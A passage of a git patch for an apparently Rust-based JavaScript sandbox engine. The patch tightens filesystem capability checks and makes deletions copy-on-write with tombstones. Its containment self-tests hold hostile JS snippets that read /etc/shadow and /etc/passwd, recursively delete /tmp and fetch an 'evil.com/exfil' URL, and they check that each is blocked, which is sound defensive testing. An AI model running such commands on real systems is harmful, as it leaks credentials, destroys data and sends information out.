From d9610c75185bddf4ebb4b21303b1ee85ddfa2a88 Mon Sep 17 00:00:00 2001 From: SIKTEC Date: Wed, 11 Nov 2026 16:26:14 -0500 Subject: [PATCH 1/6] fix(engine): enforce deny-by-default fs OCap and CoW VFS tombstones --- crates/slice-cli/src/commands/run.rs | 4 +- .../src/diagnostics/doctor_and_bench.rs | 56 +++- crates/slice-cli/src/server/mod.rs | 6 +- crates/slice-engine/src/bindings/fs.rs | 282 ++++++++++++------ .../src/bindings/kv_and_sandbox.rs | 20 +- crates/slice-engine/src/isolate/exec_boa.rs | 178 +++++++---- .../src/isolate/kv_and_sandbox.rs | 20 +- .../slice-engine/src/isolate/state_and_kv.rs | 15 +- .../src/preludes/node_builtins.rs | 2 +- crates/slice-engine/src/runtime/boa_realm.rs | 126 +++++--- crates/slice-engine/src/runtime/workers.rs | 90 +++--- 11 files changed, 525 insertions(+), 274 deletions(-) diff --git a/crates/slice-cli/src/commands/run.rs b/crates/slice-cli/src/commands/run.rs index 7c5af61..4cfca4c 100644 --- a/crates/slice-cli/src/commands/run.rs +++ b/crates/slice-cli/src/commands/run.rs @@ -436,7 +436,7 @@ pub(crate) fn cmd_run(args: &[String]) -> Result<()> { isolate.add_egress_audit_secret(sec.clone()); } if prewarm_pool { - SliceIsolate::prewarm_boa_bundle(bytecode); + SliceIsolate::prewarm_boa_bundle_with_caps(bytecode, &exec_cfg.caps); let snap = isolate.checkpoint(); let _ = isolate.execute_bytecode(bytecode, Some(&archive)); isolate.restore(snap); @@ -491,7 +491,7 @@ pub(crate) fn cmd_run(args: &[String]) -> Result<()> { isolate.add_egress_audit_secret(sec.clone()); } if prewarm_pool { - SliceIsolate::prewarm_boa_bundle(&bytecode); + SliceIsolate::prewarm_boa_bundle_with_caps(&bytecode, &exec_cfg.caps); let snap = isolate.checkpoint(); let _ = isolate.execute_bytecode(&bytecode, None); isolate.restore(snap); diff --git a/crates/slice-cli/src/diagnostics/doctor_and_bench.rs b/crates/slice-cli/src/diagnostics/doctor_and_bench.rs index 004b7f0..437b9c3 100644 --- a/crates/slice-cli/src/diagnostics/doctor_and_bench.rs +++ b/crates/slice-cli/src/diagnostics/doctor_and_bench.rs @@ -320,20 +320,66 @@ pub(crate) fn run_security_containment_checks() -> Result { blocked += 1; } - let v2_bc = compile_source_to_bytecode("const s = fs.readFileSync(\"/etc/shadow\");"); - let caps2 = CapabilityToken::pure_compute().with_read_prefix("/app/safe"); - let mut iso2 = SliceIsolate::spawn("attacker-2", 2, caps2, 1000, 65536); + let v2_snp_bc = compile_source_to_bytecode("const s = fs.readFileSync(\"/etc/shadow\");"); + let v2_boa_read_bc = compile_source_to_bytecode( + "const fs = require(\"node:fs\"); fs.readFileSync(\"/etc/passwd\", \"utf8\");", + ); + let v2_boa_rm_bc = compile_source_to_bytecode( + "const fs = require(\"node:fs\"); fs.rmSync(\"/tmp\", { recursive: true, force: true });", + ); + let mut iso2_snp = SliceIsolate::spawn( + "attacker-2a", + 2, + CapabilityToken::pure_compute(), + 5000, + 262144, + ); + let mut iso2_default_read = SliceIsolate::spawn( + "attacker-2b", + 2, + CapabilityToken::pure_compute(), + 5000, + 262144, + ); + let mut iso2_default_rm = SliceIsolate::spawn( + "attacker-2c", + 2, + CapabilityToken::pure_compute(), + 5000, + 262144, + ); + let caps2_scoped = CapabilityToken::pure_compute().with_read_prefix("/app/safe"); + let mut iso2_scoped = SliceIsolate::spawn("attacker-2d", 2, caps2_scoped, 5000, 262144); if matches!( - iso2.execute_bytecode(&v2_bc, None), + iso2_snp.execute_bytecode(&v2_snp_bc, None), + Err(SandboxViolation::FsReadDenied { .. }) + ) && matches!( + iso2_default_read.execute_bytecode(&v2_boa_read_bc, None), + Err(SandboxViolation::FsReadDenied { .. }) + ) && matches!( + iso2_default_rm.execute_bytecode(&v2_boa_rm_bc, None), + Err(SandboxViolation::FsWriteDenied { .. }) + ) && matches!( + iso2_scoped.execute_bytecode(&v2_boa_read_bc, None), Err(SandboxViolation::FsReadDenied { .. }) ) { blocked += 1; } let v3_bc = compile_source_to_bytecode("const r = fetch(\"https://evil.com/exfil\");"); + let mut iso3_default = SliceIsolate::spawn( + "attacker-3a", + 3, + CapabilityToken::pure_compute(), + 5000, + 262144, + ); let caps3 = CapabilityToken::pure_compute().with_net_host("db.internal:5432"); - let mut iso3 = SliceIsolate::spawn("attacker-3", 3, caps3, 1000, 65536); + let mut iso3 = SliceIsolate::spawn("attacker-3b", 3, caps3, 5000, 262144); if matches!( + iso3_default.execute_bytecode(&v3_bc, None), + Err(SandboxViolation::NetAccessDenied { .. }) + ) && matches!( iso3.execute_bytecode(&v3_bc, None), Err(SandboxViolation::NetAccessDenied { .. }) ) { diff --git a/crates/slice-cli/src/server/mod.rs b/crates/slice-cli/src/server/mod.rs index f2f4770..1ac1261 100644 --- a/crates/slice-cli/src/server/mod.rs +++ b/crates/slice-cli/src/server/mod.rs @@ -119,7 +119,7 @@ console.log(route_res); let secrets_clone = std::sync::Arc::clone(&audit_secrets); let server_thread = std::thread::spawn(move || -> Result<()> { - SliceIsolate::prewarm_boa_bundle(&bc_clone); + SliceIsolate::prewarm_boa_bundle_with_caps(&bc_clone, &caps_clone); let mut read_buf = vec![0u8; 65536]; let mut write_buf = Vec::with_capacity(4096); if let Ok((stream, _)) = listener.accept() { @@ -192,7 +192,7 @@ console.log(route_res); let secrets_clone = std::sync::Arc::clone(&audit_secrets); let counter_clone = std::sync::Arc::clone(&req_counter); handles.push(std::thread::spawn(move || { - SliceIsolate::prewarm_boa_bundle(&bc_clone); + SliceIsolate::prewarm_boa_bundle_with_caps(&bc_clone, &caps_clone); let mut read_buf = vec![0u8; 65536]; let mut write_buf = Vec::with_capacity(4096); let mut local_slot = (worker_idx as u32) << 20; @@ -224,7 +224,7 @@ console.log(route_res); })); } - SliceIsolate::prewarm_boa_bundle(&bytecode); + SliceIsolate::prewarm_boa_bundle_with_caps(&bytecode, &caps); let mut read_buf = vec![0u8; 65536]; let mut write_buf = Vec::with_capacity(4096); let mut local_slot: u32 = 0; diff --git a/crates/slice-engine/src/bindings/fs.rs b/crates/slice-engine/src/bindings/fs.rs index d26a2bf..f36b76e 100644 --- a/crates/slice-engine/src/bindings/fs.rs +++ b/crates/slice-engine/src/bindings/fs.rs @@ -4,8 +4,8 @@ use crate::bindings::helpers::{ bytes_to_js_uint8_array, extract_buffer_source_bytes, try_consume_isolate_memory, }; use crate::boa_realm::{ - check_boa_fs_read_ocap, check_boa_fs_write_ocap, norm_vfs_path, BOA_DET_STATE, BOA_VFS_CACHE, - BOA_VFS_DIRS, + check_boa_fs_read_ocap, check_boa_fs_write_ocap, has_boa_fs_read_ocap, norm_vfs_path, + BOA_DET_STATE, BOA_VFS_CACHE, BOA_VFS_DIRS, BOA_VFS_TOMBSTONES, }; use crate::intrinsics::fill_random_bytes; @@ -16,7 +16,31 @@ thread_local! { std::cell::RefCell::new(rustc_hash::FxHashMap::default()); } -fn vfs_or_host_is_dir(norm: &str, raw_path: &str) -> bool { +#[inline] +pub(crate) fn is_vfs_tombstoned(norm: &str) -> bool { + BOA_VFS_TOMBSTONES.with(|t| { + let set = t.borrow(); + if set.is_empty() { + return false; + } + if set.contains(norm) { + return true; + } + let mut cur = norm; + while let Some(idx) = cur.rfind('/') { + if idx == 0 { + break; + } + cur = &cur[..idx]; + if set.contains(cur) { + return true; + } + } + false + }) +} + +fn vfs_or_host_is_dir(norm: &str) -> bool { if norm == "/" || norm == "." { return true; } @@ -44,8 +68,10 @@ fn vfs_or_host_is_dir(norm: &str, raw_path: &str) -> bool { if let Some(res) = vfs_state { return res; } + if is_vfs_tombstoned(norm) { + return false; + } std::path::Path::new(norm).is_dir() - || (raw_path != norm && std::path::Path::new(raw_path).is_dir()) } #[inline] @@ -72,25 +98,13 @@ pub(crate) fn resolve_vfs_symlink_norm(mut current: String) -> String { } #[inline] -fn read_host_bytes(norm: &str, raw_path: &str) -> std::io::Result> { - std::fs::read(norm).or_else(|e| { - if raw_path == norm { - Err(e) - } else { - std::fs::read(raw_path) - } - }) +fn read_host_bytes(norm: &str) -> std::io::Result> { + std::fs::read(norm) } #[inline] -fn host_metadata(norm: &str, raw_path: &str) -> std::io::Result { - std::fs::metadata(norm).or_else(|e| { - if raw_path == norm { - Err(e) - } else { - std::fs::metadata(raw_path) - } - }) +fn host_metadata(norm: &str) -> std::io::Result { + std::fs::metadata(norm) } #[inline] @@ -130,6 +144,27 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { return; } + let _ = ctx.register_global_builtin_callable( + js_string!("__slice_fs_check_write_sync"), + 1, + NativeFunction::from_fn_ptr(|_this, args, context| { + let path = args + .first() + .map(|v| v.to_string(context)) + .transpose()? + .map(|s| s.to_std_string_escaped()) + .unwrap_or_default(); + if !check_boa_fs_write_ocap(&path) { + return Ok(BoaVal::from(false)); + } + let norm = resolve_vfs_symlink_norm(norm_vfs_path(&path)); + if norm != path && !check_boa_fs_write_ocap(&norm) { + return Ok(BoaVal::from(false)); + } + Ok(BoaVal::from(true)) + }), + ); + let _ = ctx.register_global_builtin_callable( js_string!("__slice_fs_read_file_sync"), 1, @@ -166,11 +201,13 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { { return Ok(BoaVal::from(-21)); } - if let Ok(bytes) = read_host_bytes(&norm, &path) { - return Ok(utf8_vec_to_js_val(bytes)); - } - if vfs_or_host_is_dir(&norm, &path) { - return Ok(BoaVal::from(-21)); + if !is_vfs_tombstoned(&norm) { + if let Ok(bytes) = read_host_bytes(&norm) { + return Ok(utf8_vec_to_js_val(bytes)); + } + if vfs_or_host_is_dir(&norm) { + return Ok(BoaVal::from(-21)); + } } Ok(BoaVal::null()) }), @@ -212,11 +249,13 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { { return Ok(BoaVal::from(-21)); } - if let Ok(bytes) = read_host_bytes(&norm, &path) { - return bytes_to_js_uint8_array(&bytes, context); - } - if vfs_or_host_is_dir(&norm, &path) { - return Ok(BoaVal::from(-21)); + if !is_vfs_tombstoned(&norm) { + if let Ok(bytes) = read_host_bytes(&norm) { + return bytes_to_js_uint8_array(&bytes, context); + } + if vfs_or_host_is_dir(&norm) { + return Ok(BoaVal::from(-21)); + } } Ok(BoaVal::null()) }), @@ -302,13 +341,19 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { if let Err(msg) = try_consume_isolate_memory(data_bytes.len()) { return Err(JsNativeError::range().with_message(msg).into()); } + if let Some(idx) = norm.rfind('/') { + let parent = &norm[..idx]; + if !parent.is_empty() { + BOA_VFS_DIRS.with(|d| { + d.borrow_mut().insert(parent.to_string()); + }); + } + } BOA_VFS_CACHE.with(|c| { let mut map = c.borrow_mut(); let entry = map.entry(norm.clone()).or_insert_with(|| { - let initial = if check_boa_fs_read_ocap(&norm) { - std::fs::read(&norm) - .or_else(|_| std::fs::read(&path)) - .unwrap_or_default() + let initial = if !is_vfs_tombstoned(&norm) && has_boa_fs_read_ocap(&norm) { + std::fs::read(&norm).unwrap_or_default() } else { Vec::new() }; @@ -358,9 +403,8 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { dirs.iter().any(|k| k.starts_with(&prefix)) } }); - let exists = vfs_exists - || std::path::Path::new(&norm).exists() - || (path != norm && std::path::Path::new(&path).exists()); + let exists = + vfs_exists || (!is_vfs_tombstoned(&norm) && std::path::Path::new(&norm).exists()); Ok(BoaVal::from(exists)) }), ); @@ -378,7 +422,10 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { if !check_boa_fs_write_ocap(&path) { return Ok(BoaVal::undefined()); } - let norm = norm_vfs_path(&path); + let norm = resolve_vfs_symlink_norm(norm_vfs_path(&path)); + if norm != path && !check_boa_fs_write_ocap(&norm) { + return Ok(BoaVal::undefined()); + } BOA_VFS_DIRS.with(|d| { let mut dirs = d.borrow_mut(); let mut cur = norm.as_str(); @@ -438,10 +485,23 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { }); let is_vfs_tmp_dir = norm_dir.starts_with("/tmp/") && BOA_VFS_DIRS.with(|d| d.borrow().contains(&norm_dir)); - if !is_vfs_tmp_dir { - if let Ok(rd) = std::fs::read_dir(&norm_dir).or_else(|_| std::fs::read_dir(&path)) { + let has_tombstones = BOA_VFS_TOMBSTONES.with(|t| !t.borrow().is_empty()); + let dir_tombstoned = has_tombstones && is_vfs_tombstoned(&norm_dir); + if !is_vfs_tmp_dir && !dir_tombstoned { + if let Ok(rd) = std::fs::read_dir(&norm_dir) { for entry in rd.flatten() { - entries_set.insert(entry.file_name().to_string_lossy().to_string()); + let name = entry.file_name().to_string_lossy().to_string(); + if has_tombstones { + let child_norm = if norm_dir == "/" { + format!("/{}", name) + } else { + format!("{}/{}", norm_dir, name) + }; + if is_vfs_tombstoned(&child_norm) { + continue; + } + } + entries_set.insert(name); } } } @@ -484,11 +544,13 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { }) { return Ok(BoaVal::from(0.0)); } - if let Ok(meta) = host_metadata(&norm, &path) { - return Ok(BoaVal::from(meta.len() as f64)); - } - if vfs_or_host_is_dir(&norm, &path) { - return Ok(BoaVal::from(0.0)); + if !is_vfs_tombstoned(&norm) { + if let Ok(meta) = host_metadata(&norm) { + return Ok(BoaVal::from(meta.len() as f64)); + } + if vfs_or_host_is_dir(&norm) { + return Ok(BoaVal::from(0.0)); + } } Ok(BoaVal::from(-1.0)) }), @@ -517,17 +579,21 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { if BOA_DET_STATE.with(|s| s.get().is_some()) { return Ok(BoaVal::from(1_700_000_000_000.0)); } - let mtime_ms = host_metadata(&norm, &path) - .ok() - .and_then(|m| m.modified().ok()) - .and_then(|t| t.duration_since(std::time::UNIX_EPOCH).ok()) - .map(|d| d.as_millis() as f64) - .unwrap_or_else(|| { - std::time::SystemTime::now() - .duration_since(std::time::UNIX_EPOCH) - .map(|d| d.as_millis() as f64) - .unwrap_or(1_700_000_000_000.0) - }); + let mtime_ms = if is_vfs_tombstoned(&norm) { + None + } else { + host_metadata(&norm) + .ok() + .and_then(|m| m.modified().ok()) + .and_then(|t| t.duration_since(std::time::UNIX_EPOCH).ok()) + .map(|d| d.as_millis() as f64) + } + .unwrap_or_else(|| { + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_millis() as f64) + .unwrap_or(1_700_000_000_000.0) + }); Ok(BoaVal::from(mtime_ms)) }), ); @@ -549,7 +615,7 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { if norm != path && !check_boa_fs_read_ocap(&norm) { return Ok(BoaVal::from(false)); } - let is_dir = vfs_or_host_is_dir(&norm, &path); + let is_dir = vfs_or_host_is_dir(&norm); Ok(BoaVal::from(is_dir)) }), ); @@ -581,11 +647,12 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { let content = BOA_VFS_CACHE .with(|c| c.borrow().get(&norm_src).cloned()) .unwrap_or_else(|| { - std::sync::Arc::new( - std::fs::read(&norm_src) - .or_else(|_| std::fs::read(&src)) - .unwrap_or_default(), - ) + let bytes = if is_vfs_tombstoned(&norm_src) { + Vec::new() + } else { + std::fs::read(&norm_src).unwrap_or_default() + }; + std::sync::Arc::new(bytes) }); if let Err(msg) = try_consume_isolate_memory(content.len()) { return Err(JsNativeError::range().with_message(msg).into()); @@ -627,18 +694,27 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { } let norm_old = resolve_vfs_symlink_norm(norm_vfs_path(&old_p)); let norm_new = resolve_vfs_symlink_norm(norm_vfs_path(&new_p)); - if !check_boa_fs_read_ocap(&norm_old) || !check_boa_fs_write_ocap(&norm_new) { + if !check_boa_fs_read_ocap(&norm_old) + || !check_boa_fs_write_ocap(&norm_old) + || !check_boa_fs_write_ocap(&norm_new) + { return Ok(BoaVal::undefined()); } let content = BOA_VFS_CACHE .with(|c| c.borrow_mut().remove(&norm_old)) .unwrap_or_else(|| { - std::sync::Arc::new( - std::fs::read(&norm_old) - .or_else(|_| std::fs::read(&old_p)) - .unwrap_or_default(), - ) + let bytes = if is_vfs_tombstoned(&norm_old) { + Vec::new() + } else { + std::fs::read(&norm_old).unwrap_or_default() + }; + std::sync::Arc::new(bytes) }); + if norm_old != norm_new && std::path::Path::new(&norm_old).exists() { + BOA_VFS_TOMBSTONES.with(|t| { + t.borrow_mut().insert(norm_old); + }); + } if let Some(idx) = norm_new.rfind('/') { let parent = &norm_new[..idx]; BOA_VFS_DIRS.with(|d| { @@ -666,6 +742,9 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { return Ok(BoaVal::undefined()); } let norm = norm_vfs_path(&path); + if norm != path && !check_boa_fs_write_ocap(&norm) { + return Ok(BoaVal::undefined()); + } let prefix = format!("{}/", norm); BOA_VFS_CACHE.with(|c| { let mut map = c.borrow_mut(); @@ -682,13 +761,14 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { mtimes.remove(&norm); mtimes.retain(|k, _| !k.starts_with(&prefix)); }); - let p = std::path::Path::new(&path); - if p.exists() { - if p.is_dir() { - let _ = std::fs::remove_dir_all(p); - } else { - let _ = std::fs::remove_file(p); - } + // Strictly copy-on-write VFS deletion: never remove files or directories from the + // host OS disk. If a real host entry exists at this path, mask it with a VFS + // tombstone so subsequent reads/stats inside the isolate see it as unlinked and + // `Slice.restore()` can roll the deletion back cleanly. + if std::path::Path::new(&norm).exists() { + BOA_VFS_TOMBSTONES.with(|t| { + t.borrow_mut().insert(norm); + }); } Ok(BoaVal::undefined()) }), @@ -725,14 +805,14 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { }; return Ok(BoaVal::from(js_string!(resolved))); } - if let Ok(canon) = - std::fs::canonicalize(&norm).or_else(|_| std::fs::canonicalize(&path)) - { - let mut s = canon.to_string_lossy().replace('\\', "/"); - if let Some(stripped) = s.strip_prefix("//?/") { - s = stripped.to_string(); + if !is_vfs_tombstoned(&norm) { + if let Ok(canon) = std::fs::canonicalize(&norm) { + let mut s = canon.to_string_lossy().replace('\\', "/"); + if let Some(stripped) = s.strip_prefix("//?/") { + s = stripped.to_string(); + } + return Ok(BoaVal::from(js_string!(s))); } - return Ok(BoaVal::from(js_string!(s))); } let fallback = if norm.starts_with('/') || (norm.len() >= 2 && norm.as_bytes()[1] == b':') { @@ -793,7 +873,13 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { .transpose()? .map(|s| s.to_std_string_escaped()) .unwrap_or_default(); - let _ = check_boa_fs_write_ocap(&path); + if !check_boa_fs_write_ocap(&path) { + return Ok(BoaVal::undefined()); + } + let norm = resolve_vfs_symlink_norm(norm_vfs_path(&path)); + if norm != path && !check_boa_fs_write_ocap(&norm) { + return Ok(BoaVal::undefined()); + } Ok(BoaVal::undefined()) }), ); @@ -860,9 +946,13 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { .map(|b| b.starts_with(VFS_SYMLINK_PREFIX)) }) .unwrap_or_else(|| { - std::fs::symlink_metadata(&path) - .map(|m| m.file_type().is_symlink()) - .unwrap_or(false) + if is_vfs_tombstoned(&norm) { + false + } else { + std::fs::symlink_metadata(&norm) + .map(|m| m.file_type().is_symlink()) + .unwrap_or(false) + } }); Ok(BoaVal::from(is_sym)) }), @@ -896,10 +986,12 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { } return Ok(BoaVal::from(js_string!(target))); } - if let Ok(target_path) = std::fs::read_link(&path) { - let target_str = target_path.to_string_lossy().replace('\\', "/"); - if check_boa_fs_read_ocap(&target_str) { - return Ok(BoaVal::from(js_string!(target_str))); + if !is_vfs_tombstoned(&norm) { + if let Ok(target_path) = std::fs::read_link(&norm) { + let target_str = target_path.to_string_lossy().replace('\\', "/"); + if check_boa_fs_read_ocap(&target_str) { + return Ok(BoaVal::from(js_string!(target_str))); + } } } Ok(BoaVal::from(js_string!(""))) @@ -931,9 +1023,11 @@ pub(crate) fn register_fs_host_functions(ctx: &mut boa_engine::Context) { let mut data = BOA_VFS_CACHE .with(|c| c.borrow().get(&norm).map(|arc| (**arc).clone())) .unwrap_or_else(|| { - std::fs::read(&norm) - .or_else(|_| std::fs::read(&path)) - .unwrap_or_default() + if is_vfs_tombstoned(&norm) { + Vec::new() + } else { + std::fs::read(&norm).unwrap_or_default() + } }); if new_len > data.len() { if let Err(msg) = try_consume_isolate_memory(new_len - data.len()) { diff --git a/crates/slice-engine/src/bindings/kv_and_sandbox.rs b/crates/slice-engine/src/bindings/kv_and_sandbox.rs index 7c104d6..2d75005 100644 --- a/crates/slice-engine/src/bindings/kv_and_sandbox.rs +++ b/crates/slice-engine/src/bindings/kv_and_sandbox.rs @@ -254,13 +254,11 @@ pub(crate) fn register_kv_and_sandbox_host_functions(ctx: &mut boa_engine::Conte let scope_guard = SavedIsolateContextGuard::enter(); let mut parent_caps = CapabilityToken::pure_compute(); - if let Some((_, ref r_prefs, ref w_prefs)) = scope_guard.saved_caps { - for r in r_prefs { - parent_caps = parent_caps.with_read_prefix(r.clone()); - } - for w in w_prefs { - parent_caps = parent_caps.with_write_prefix(w.clone()); - } + for r in &scope_guard.saved_caps.read_prefixes { + parent_caps = parent_caps.with_read_prefix(r.clone()); + } + for w in &scope_guard.saved_caps.write_prefixes { + parent_caps = parent_caps.with_write_prefix(w.clone()); } for nh in &scope_guard.saved_net_hosts { parent_caps = parent_caps.with_net_host(nh.clone()); @@ -297,22 +295,26 @@ pub(crate) fn register_kv_and_sandbox_host_functions(ctx: &mut boa_engine::Conte let outcome = if cfg!(debug_assertions) { let vfs_files = crate::boa_realm::BOA_VFS_CACHE.with(|c| c.borrow().clone()); let vfs_dirs = crate::boa_realm::BOA_VFS_DIRS.with(|d| d.borrow().clone()); - let (out, new_files, new_dirs) = std::thread::Builder::new() + let vfs_tombs = crate::boa_realm::BOA_VFS_TOMBSTONES.with(|t| t.borrow().clone()); + let (out, new_files, new_dirs, new_tombs) = std::thread::Builder::new() .name("slice-eval-sandbox".to_string()) .stack_size(8 * 1024 * 1024) .spawn(move || { crate::boa_realm::BOA_VFS_CACHE.with(|c| *c.borrow_mut() = vfs_files); crate::boa_realm::BOA_VFS_DIRS.with(|d| *d.borrow_mut() = vfs_dirs); + crate::boa_realm::BOA_VFS_TOMBSTONES.with(|t| *t.borrow_mut() = vfs_tombs); let res = proxy_parent.eval_sandbox(&code, opts); let nf = crate::boa_realm::BOA_VFS_CACHE.with(|c| c.borrow().clone()); let nd = crate::boa_realm::BOA_VFS_DIRS.with(|d| d.borrow().clone()); - (res, nf, nd) + let nt = crate::boa_realm::BOA_VFS_TOMBSTONES.with(|t| t.borrow().clone()); + (res, nf, nd, nt) }) .expect("failed to spawn slice-eval-sandbox thread") .join() .expect("slice-eval-sandbox thread panicked"); crate::boa_realm::BOA_VFS_CACHE.with(|c| *c.borrow_mut() = new_files); crate::boa_realm::BOA_VFS_DIRS.with(|d| *d.borrow_mut() = new_dirs); + crate::boa_realm::BOA_VFS_TOMBSTONES.with(|t| *t.borrow_mut() = new_tombs); out } else { proxy_parent.eval_sandbox(&code, opts) diff --git a/crates/slice-engine/src/isolate/exec_boa.rs b/crates/slice-engine/src/isolate/exec_boa.rs index 5c905f9..30d4bce 100644 --- a/crates/slice-engine/src/isolate/exec_boa.rs +++ b/crates/slice-engine/src/isolate/exec_boa.rs @@ -9,11 +9,12 @@ use crate::boa_realm::{ BOA_DET_STATE, BOA_DIRTY_SUBSYSTEMS, BOA_EGRESS_SECRETS, BOA_ENV_MAP, BOA_EXEC_BINS, BOA_EXEC_DIRTY, BOA_FETCH_MOCKS, BOA_FUEL_BUDGET, BOA_HTTP_REQ, BOA_HTTP_RES, BOA_KV_MEM_BUDGET, BOA_LAST_CHILD_PROC_VIOLATION, BOA_LAST_EXIT_CODE, BOA_NET_HOSTS, - BOA_PROCESS_EXIT, BOA_STDOUT, BOA_UNCAUGHT_ERROR, BOA_UNHANDLED_REJECTIONS, BOA_VIOLATION, - BOA_WAIT_UNTIL_COUNT, CHECKPOINT_SLAB, DIRTY_FETCH_MOCK, DIRTY_SOCKETS, DIRTY_WASM, - DIRTY_WEBSOCKET, DIRTY_WORKERS, EXEC_DIRTY_ARGV, EXEC_DIRTY_CHILD_PROC, EXEC_DIRTY_EXIT, - EXEC_DIRTY_REJECTIONS, EXEC_DIRTY_UNCAUGHT, REALM_CTL_DISPATCH_HTTP_BRIDGE, REALM_CTL_RESET_MT, - REALM_CTL_RESET_WU, REALM_CTL_SET_DET_MODE, REALM_CTL_SET_NEXT_TICK, REALM_CTL_SYNC_ENV, + BOA_PROCESS_EXIT, BOA_STDOUT, BOA_UNCAUGHT_ERROR, BOA_UNHANDLED_REJECTIONS, BOA_VFS_CACHE, + BOA_VFS_DIRS, BOA_VFS_TOMBSTONES, BOA_VIOLATION, BOA_WAIT_UNTIL_COUNT, CHECKPOINT_SLAB, + DIRTY_FETCH_MOCK, DIRTY_SOCKETS, DIRTY_WASM, DIRTY_WEBSOCKET, DIRTY_WORKERS, EXEC_DIRTY_ARGV, + EXEC_DIRTY_CHILD_PROC, EXEC_DIRTY_EXIT, EXEC_DIRTY_REJECTIONS, EXEC_DIRTY_UNCAUGHT, + REALM_CTL_DISPATCH_HTTP_BRIDGE, REALM_CTL_RESET_MT, REALM_CTL_RESET_WU, REALM_CTL_SET_DET_MODE, + REALM_CTL_SET_NEXT_TICK, REALM_CTL_SYNC_ENV, }; use crate::boacas::{ BOACAS_FLAG_HAS_HTTP_BRIDGE, BOACAS_FLAG_HAS_KV_SANDBOX, BOACAS_FLAG_HAS_NEXT_TICK, @@ -26,11 +27,11 @@ use crate::isolate::SliceIsolate; use crate::js_preludes::{detect_needed_shards, needs_lazy_global_getters}; use crate::parser_and_compiler::extract_slice_rc_key; use crate::value_and_ast::JsValue; -use slice_sandbox::SandboxViolation; +use slice_sandbox::{CapabilityToken, SandboxViolation}; #[derive(Clone, Copy)] pub(crate) struct BoaSessionFlags { - pub(crate) has_fs_restrictions: bool, + pub(crate) has_fs_grants: bool, pub(crate) has_net_hosts: bool, pub(crate) has_egress_secrets: bool, pub(crate) has_env_keys: bool, @@ -38,6 +39,78 @@ pub(crate) struct BoaSessionFlags { pub(crate) is_worker: bool, } +fn setup_prewarm_caps(caps: &CapabilityToken) -> (bool, bool, bool, bool) { + let has_fs = !caps.allowed_read_prefixes.is_empty() || !caps.allowed_write_prefixes.is_empty(); + if has_fs { + BOA_ACTIVE_CAPS.with(|c| { + let mut dst = c.borrow_mut(); + dst.read_prefixes.clear(); + dst.read_prefixes + .extend_from_slice(&caps.allowed_read_prefixes); + dst.write_prefixes.clear(); + dst.write_prefixes + .extend_from_slice(&caps.allowed_write_prefixes); + }); + } + let has_net = !caps.allowed_net_hosts.is_empty(); + if has_net { + BOA_NET_HOSTS.with(|h| *h.borrow_mut() = caps.allowed_net_hosts.clone()); + } + let has_env = !caps.allowed_env_keys.is_empty(); + if has_env { + BOA_ENV_MAP.with(|m| *m.borrow_mut() = caps.allowed_env_keys.clone()); + } + let has_exec = !caps.allowed_exec_binaries.is_empty(); + if has_exec { + BOA_EXEC_BINS.with(|b| *b.borrow_mut() = caps.allowed_exec_binaries.clone()); + } + (has_fs, has_net, has_env, has_exec) +} + +fn scrub_after_prewarm(realm: &mut WarmBoaRealm, prewarm_flags: (bool, bool, bool, bool)) { + let (has_fs, has_net, has_env, has_exec) = prewarm_flags; + if has_fs { + BOA_ACTIVE_CAPS.with(|c| { + let mut dst = c.borrow_mut(); + dst.read_prefixes.clear(); + dst.write_prefixes.clear(); + }); + } + if has_net { + BOA_NET_HOSTS.with(|h| h.borrow_mut().clear()); + } + if has_env { + call_realm_ctl(realm, REALM_CTL_SYNC_ENV, false); + BOA_ENV_MAP.with(|m| m.borrow_mut().clear()); + } + if has_exec { + BOA_EXEC_BINS.with(|b| b.borrow_mut().clear()); + } + clear_event_loop_state(); + crate::websocket::clear_thread_websocket_state(); + crate::sockets::clear_thread_socket_state(); + crate::workers::clear_thread_worker_state(); + CHECKPOINT_SLAB.with(|s| s.borrow_mut().clear()); + BOA_CHECKPOINT_STATS.with(|s| s.set((0, 0, 0))); + BOA_DIRTY_SUBSYSTEMS.with(|d| d.set(0)); + BOA_EXEC_DIRTY.with(|c| c.set(0)); + BOA_PROCESS_EXIT.with(|e| e.set(None)); + BOA_LAST_EXIT_CODE.with(|e| e.set(None)); + BOA_UNHANDLED_REJECTIONS.with(|u| u.borrow_mut().clear()); + BOA_UNCAUGHT_ERROR.with(|e| *e.borrow_mut() = None); + BOA_LAST_CHILD_PROC_VIOLATION.with(|v| *v.borrow_mut() = None); + BOA_VIOLATION.with(|v| *v.borrow_mut() = None); + BOA_VFS_CACHE.with(|c| c.borrow_mut().clear()); + BOA_VFS_DIRS.with(|d| d.borrow_mut().clear()); + BOA_VFS_TOMBSTONES.with(|t| t.borrow_mut().clear()); + if BOA_WAIT_UNTIL_COUNT.with(|c| c.get()) > 0 { + call_realm_ctl(realm, REALM_CTL_RESET_WU, false); + } + BOA_STDOUT.with(|out| out.borrow_mut().clear()); + BOA_HTTP_RES.with(|res| *res.borrow_mut() = None); + BOA_WAIT_UNTIL_COUNT.with(|c| c.set(0)); +} + impl SliceIsolate { /// Pre-warms `count` full-ES2024+ `boa_engine::Context` realms on the current worker thread /// with all native Rust host intrinsics (`__slice_console_log`, `__slice_path_join`, `__slice_fs_*`, @@ -51,10 +124,16 @@ impl SliceIsolate { }); } - /// Pre-warms a 